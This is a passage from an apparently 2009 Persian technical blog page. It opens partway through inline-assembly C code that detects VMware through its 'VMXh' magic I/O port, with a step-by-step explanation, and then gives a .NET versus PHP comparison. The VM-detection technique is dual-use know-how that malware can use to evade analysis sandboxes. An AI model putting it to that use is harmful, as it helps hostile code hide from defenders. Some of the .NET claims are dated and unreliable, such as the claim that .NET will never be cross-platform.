      in     eax, dx // read port

                     // on return EAX returns the VERSION

      cmp    ebx, 'VMXh' // is it a reply from VMWare?

      setz   [rc] // set return value


      pop    ebx
      pop    ecx
      pop    edx
    }
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
    rc = false;
  }

  return rc;
}
جزئیات بیشتر در مورد کد :
1.    برنامه کنترل کننده های خطا را تنظیم می کند.
2.    قرار دادن Magic Number در رجیستری EAX. (Magic Number is 0X564D5868 or VMXh)
3.    مقدار دهی رجیستری EBX به مقداری به جزء Magic Number
4.    مقدار دهی رجیستری ECX به مقدار "شماره تابع" مورد نظر.
مقدار 10 یعنی شماره ورژن VMWare را برگردان. کدهای دیگر به معنی توابعی دیگر هستند.
5.    مقدار دهی رجیستری DX به مقدار Magic Port Number.
 (Magic Port Number is 0X5658 or VX)
این شماره پورت مخصوص اجازه ارتباط با VMWare را زمانی که در حال اجرا می باشد، می دهد.
6.    خواندن از پورت و قرار دادن آن در داخل رجیستری EAX
    زمانی که VMWare وجود ندارد، خطایی رخ خواهد داد و ما وجود VMWare را رد خواهیم کرد.
    در غیر این صورت جریان کد ادامه پیدا می کند.
7.    حالا رجسیتری EBX باید مقدار Magic Number را بخواند.
8.    اگر چنین باشد، VMWare وجود دارد.

Author : Mojtaba Jafari
Sources:
1.    http://www.codeproject.com/KB/system/VmDetect.aspx
2.    Methods for Virtual Machine Detection - 20th June 2006
Alfredo Andr´es Omella
Grupo S21sec Gesti´on S.A.

لينک | جمعه 15 آبان1388 | موضوع : مقالات آموزشی | نویسنده :مجتبی جعفری (Romper) |

 
نکاتی در مورد پلتفرم دات نت - Dot Net

پلتفرم دات نت :
علم هر روزه در حال پیشرفت می باشد. بطوری که افراد برای انجام بسیاری از کارها و حتی ملاقات های خارج از کشور دیگر احتیاج به ترک میز کار و کامپیوتر خود ندارد.
ممکن است برای بیشتر تجارت ها وب سایت ها وسیله مناسبی برای بازاریابی نباشند اما بعضا مکانی برای انجام جریان های حساس و بحرانی مالی هستند.
وظیفه ما بعنوان یک برنامه نویس این است که کاربران بهترین تجربه ممکن وبگردی در این سایتها را داشته باشند. اما متأسفانه Time-to-Market برای این برنامه های مهم کاربردی تحت وب، هر روزه کمتر و کمتر می شود.
بنابراین چطور یک برنامه نویس می تواند با این روند روبرو شود ؟
خوشبختانه در سالهای اخیر توسعه برنامه های کاربردی تحت وب در جهت بهبود تغییراتی داشته اند.
ابزارهای جدید زیادی برای برنامه نویسان تولید شده اند. یکی از این ابزارها Microsoft Platform می باشد که از آن به .Net یاد می کنند.
بطور خلاصه پلتفرم دات نت، فریم ورک جدیدی بر پایه استانداردهای اقتصادی است که برای ساخت برنامه های اینترنتی در راستای محقق کردن شعار معروف مایکروسافت می باشد.

“Any time, Any Place and on Any Device”

برای اینکه عاملیت اینترنت را افزایش دهیم باید انحصار این مقوله (اینترنت) را از کامپیوترهای دسکتاپ و لپ تاپ حذف کنیم. هم اکنون دستگاه هایی مانند تلفن های همراه و PDAها، اتصال اینترنتی را فراهم می کنند و باید به کاربران موبایل امکان آزادی عملی که در هنگام کار با کامپیوترهای شخصی خود داشته اند را بدهد.
پلتفرم دات نت توسعه اینگونه نرم افزارهای دستگاههای موبایل را آسان تر می کند. همچنین مشکل برقراری ارتباط و به اشتراک گذاشتن را بین دستگاههای گوناگونی که دراری سیستم عامل مختلفی هستند و یا از زبان های برنامه نویسی خاصی استفاده می کنند و یا حتی پروتکل خاص خود را دارند را حل می کند.


بررسی نکاتی قبل از ظهور دات نت :

مایکروسافت قصد دارد دات نت را یک پلتفرم برای تمام زبان ها کند برعکس جاوا که یک زبان برای پلتفرم های مختلف است.
قبل از ظهور دات نت به عنوان یک پلتفرم مرجع برای زبانهای مختلف، برنامه نویسان مجبور بودند برای توسعه برنامه ها، از زبانها و ابزارهای گوناگونی استفاده کنند. برای همین منظور می بایست زبانهای زیادی و با سینتکس های مختلفی را فرا بگیرند. مشکلات اینکار در پروژه های بزگ کاملا ملموس و قابل درک بود. برای همین مایکروسافت تصمیم به ارائه پلتفرمی برای زبانهای مختلف گرفت. که توانست ابزارهای مورد نیاز برنامه نویسان مختلف را یکجا جمع آوری کند.
یکی از دلایلی که مایکروسافت را وادار به تولید یک پلتفرم گسترده و یکپارچه برای تولید نرم افزار کرد، وجود پیچیدگی های زیاد تکنولوژی های قبل از دات نت برای توسعه بود. چون آینده نگری زیادی در طراحی آنها نبود.

در اواخر دهه 90 زبان های مطرح در بازار VC++، VB6، دلفی و جاوا بودند.


•    VC++
       قدرت بالا اما پیچیدگی برای برنامه نویسان متوسط
•    VB6 معروف به Kindergarten Language و برای تکنولوژی RAD می باشد
        قدرت پایین، عدم پشتیبانی از Web Programming
        عدم دسترسی مستقیم به APIها
        استفاده از Activex و DLLهای نوشته شده توسط VC
•    دلفی
         تلفیقی از زبان های VB6 و VC++
•    جاوا

         پشتیبانی از Web Programming


در مورد Cross Platform  :
چون ویندوز برای مایکروسافت در درجه اول اولویت قرار دارد، هیچگاه این شرکت، Dot Net را Cross Platform نمی کند که بتواند در سیستم عامل های دیگر همچون لینوکس اجرا شود.در غیر اینصورت ویندوز دچار ضررهای زیادی می شود.

Active Server Pages.Net (ASP.Net) یکی از راههای توسعه تحت وب توسط پلتفرم دات نت می باشند. ASP.Net به توسعه دهندگان امکان ساخت برنامه های تحت وب پویا را به همان طریقی که برنامه های دسکتاپ را می سازند، می دهد.
برنامه های تحت وب می توانند به اشتراک گذاشته شوند به همان طریقی که برنامه های دسکتاپ به اشتراک گذاشته می شوند. بنابراین کاربران می توانند با مهارتهای کامپیوتری که از قبل دارند می توانند کارهای بیشتری انجام دهند.
ASP.Net برای توسعه دهندگان نرم افزار مزایای بیستری نسبت به دیگر مدل های توسعه برنامه های تحت وب دارد. که می توان به سرعت بالای آن اشاره کرد.
برای استفاده از پلتفرم دات نت به سخت افزار خاصی نیار نیست، همان سخت افزارهایی که برای کار با ویندوز XP/NT/2000 احتیاج هستند، کافی می باشند.
حتی با Win98 هم می توان از پلتفرم دات نت استفاده کرد اما با کمی محدودیت. برای مثال نمی توان برنامه های سرور تحت وب را میزبانی کرد. هر چند بقیه برنامه های دات نتیِ Client می توانند توسعه پیدا کنند و روی Win98 و بالاتر از آن اجرا شود. (از قبیل برنامه های کنسولی یا Clientی برای سرویس های وب، برنامه های Windows Form و ...

تفاوتهای ASP.Net و PHP
•    ASP.net  یک محصول مایکروسافتی است که در مجموعه دات نت ارائه شده است. اما php  یک زبان تحت وب اوپن سورس است.
•    برنامه های نوشته شده توسط asp.net  روی سرور های ویندوز قابل اجرا هستند ، اما برنامه هایی که با php توليد ميشوند تحت لينوکس اجرا ميشوند. (البته تحت ویندوز هم ميشه php  نصب کرد، اما تحت لينوکس به صرفه تره . چون اجاره سرور لينوکس ارزان تره)
•    قابليت encode  کردن کدهای نوشته شده سمت سرور را با تبدیل آنها به یک فایل DLL  فراهم ساخته است ( code-Behind ) تا حتی کسی که به سرور شما دسترسی دارد هم سورس های شما رو نبيند. اما php  گزینه کامپایل ندارد . البته یک رمزنگار بنام zend  برای php  نوشته شده که کاری مشابه encode کردن را بر روی کدهای php  انجام ميدهد.
•    قابليت های شی گرایی در asp.net  به دليل قابليت کامپایلی بودن آن و مجتمع شدن با سایر زبان های دات نت خيلی بهتر پياده سازی شده است.
•    Asp.net  برای برنامه نویسی های سریع بسيار مناسب است. زیرا تعداد بسيار زیادی کتابخانه دارد که کامپوننت های مخصوص هر کاری را بصورت آماده در اختيارتان قرار می دهد . اما در برنامه نویسی با php  شما مجبورید اکثر بخش های برنامه نویسی را خودتان بنویسيد و این وقت زیادی از شما می گيرد. البته در پروژه های بزرگ ، بخش کدینگ چون یکبار نوشته شده و چندین بار استفاده ميشود، در ميزان وقتی که در مقایسه با asp.net  می گذارید چندان فرقی نمی کند. در ضمن در php  گاهی دستان شما بازتر است.
•    IDE  به محيطی برنامه نویسی زبان ها ميگویند. ASP.net  تحت Visual Studio  نوشته ميشود که در کشورهایی که ملزم به رعایت کپی رایت هستند 4000 دﻻر قيمت دارد. در حالی که IDE  های موجود برای زبان PHP  معموﻻ رایگان است. اما در ایران که خداروشکر این مورد با هزار تومن در درسترس است.
•    بانک اطﻼعاتی مورد استفاده برای زبان های دات نت معموﻻ SQL Server  است و بانک اطﻼعاتی مرتبط با PHP  معموﻻ MySQL  است. تا این اواخر MySQL  امکان نوشتن stored Procedure  را نداشت که گویا در نسخه جدیدش اضافه شده. قيمت ﻻیسنس SQL server معموﻻ از my sql  باﻻتره.
•    کدهای رایگان برای هر دو زبان در اینترنت به وفور یافت ميشود و در این مورد نگرانی ندارید.
•    امکانات URL-Rewriting  در زبان PHP  ساده تر از زبان های دات نتی قابل پياده سازی است. برای اینکار در ریشه سایتی که نوشته اید یک فایل htaccess  ميگذارید و تنظيمات مربوط به URL Rewriting  را داخل آن تنظيم ميکنيد. اما برای زبان های دات نتی شما باید این تنظيمات را روی سرور انجام دهيد. به همين دليل اگر پروژه ای نوشته باشيد که بخواهيد در آن از امکانات URL Rewriting  استفاده کنيد در حالت برنامه نویسی دات نتی، نيازمند اجاره کردن یک سرور هستيد که اینکار برای پروژه های کوچک که با 20  مگابایت هاست کارشون راه ميفته توجيه اقتصادی نداره.
(( URL-Rewriting  به ایجاد آدرس های مجازی روی سرور ميگن. مثﻼ آدرس وبﻼگ هایی که شما در یک سرویس مانند پرشين بﻼگ ميسازید مجازی هستند. چون هيچ دامنه ای امکان داشتن یک ميليون ساب دامين واقعی رو نداره. پس اینکار توسط شبيه سازی انجام ميشه که بهش URL Rewriting میگن ))
•    PHP  با زبان خاص خودش نوشته ميشود و چندان هم مشکل نيست. اما ASP.net  با استفاده از زبان  های دات نتی قابل نوشتن است. که معروف ترین آنها vb.net  و سی شارپ است . کدنویسی با استفاده از VB.net برای تازه کارهای برنامه نویسی خيلی ساده تر است و کد نویسی C#  برای دانشجویان رشته نرم افزار که با زبان C  آشنایی دارند توصيه ميشه. معموﻻ هر برنامه نویسی با یکی از این زبان ها کار ميکند و روی آن زبان متمرکز ميشود. قدرت هر 2  زبان سی شارپ و VB.net در برنامه نویسی یکسان است و فقط سينتکس آنها متفاوت است.

خلاصه اینکه این دو زبان قدرت یکسانی دارند و فقط گاهی برای رسيدن به یک نتيجه خاص در پروژه تان ، با یکی ممکن است بيش از دیگری کد بنویسيد و گاهی برعکس . اما در کل چيزی از هم کم ندارند و این پارامترهای تجاری است که تعيين ميکند که در پروژه های بزرگ از کدام زبان استفاده شود .

Author : Mojtaba Jafari

Sources :
1) Microsoft Statement, December 2001
http://www.Microsoft.com/PressPass/Inside_ms.asp
2) ASP.Net and VB.Net Programming Book – Matt Crouch
http://www.amazon.com/ASP-NET-VB-NET-Programming-Matt-Crouch
3) Sites
http://www.BarnameNevis.org
http://www.MacroMediaX.com

لينک | جمعه 15 آبان1388 | موضوع : مقالات آموزشی | نویسنده :مجتبی جعفری (Romper) |

 


پروژه های نرم افزاری، سخت افزاری، اخبار تکنولوژی های جدید، مقالات آموزشی و ...
EBook هایی در زمینه های مختلف

anewproject.blogfa@gmail.com

eBook
برنامه نویسی
اخبار تکنولوژی های جدید
مقالات آموزشی
پروژه ها
اطلاعات عمومی
اطلاعیه ها
عکس
موفقیت
Origami

 

:: جدیدترین تکنولوژی‌های شناسایی ماشین مجازی
:: همه چیز در مورد کنترل‌های اکتیوایکس
:: جدیدترین تکنولوژی ها
:: پلتفرم جدید انویدیا به نام یون (Ion)
:: انتقال برق بدون سیم از سطح ماه
:: نحوه کرک کردن پسورد SQL Server 2000
:: نهان نگاری داده در پیام کوتاه متنی - Steganography in SMS
:: شبيه‌ سازي مغزگربه‌ توسط ابررايانه IBM
:: ده وسیله برای بهتر نوشیدن
:: 14تا از جالبترین ساعت های دیواری
:: مردم انگليس؛ زشت‌ترين‌ در دنيا
:: HDMI (High-Difinition Multimedia Interface)
:: عينک مترجم به بازار مي‌آيد
:: نحوه تشخیص ماشین مجازی - Virtual Machine Detection
:: نکاتی در مورد پلتفرم دات نت - Dot Net
:: را‌ه‌اندازي شبکه بي‌سيم در 15 دقيقه
:: هاورکرافت شخصی داشته باشین
:: 10 توصیه برای مدیریت زندگی
:: عکس از بهترین استخرها
:: مقدمه ای بر تکنولوژی WPF یا Windows Presentation Foundation
:: تبلیغات خلاقانه ترک سیگار
:: شناخت و کاربرد سامانه های رباتیک شماره زنی خودرو
:: اوریگامی گل رز
:: 10 تخته برش جدید آشپزخونه
:: پایگاه اطلاع رسانی ادیان و فرق
:: تعقیب حرکات چشم انسان
:: آخرالعلوم در طبابت
:: در ناسا موش ها پرواز می کنند !!
:: Thermal Compound و تاثير آن بر انتقال حرارت
:: الهم عجل الولیک الفرج

 

 

 

 








Free counter and web stats


     Add to iGoogle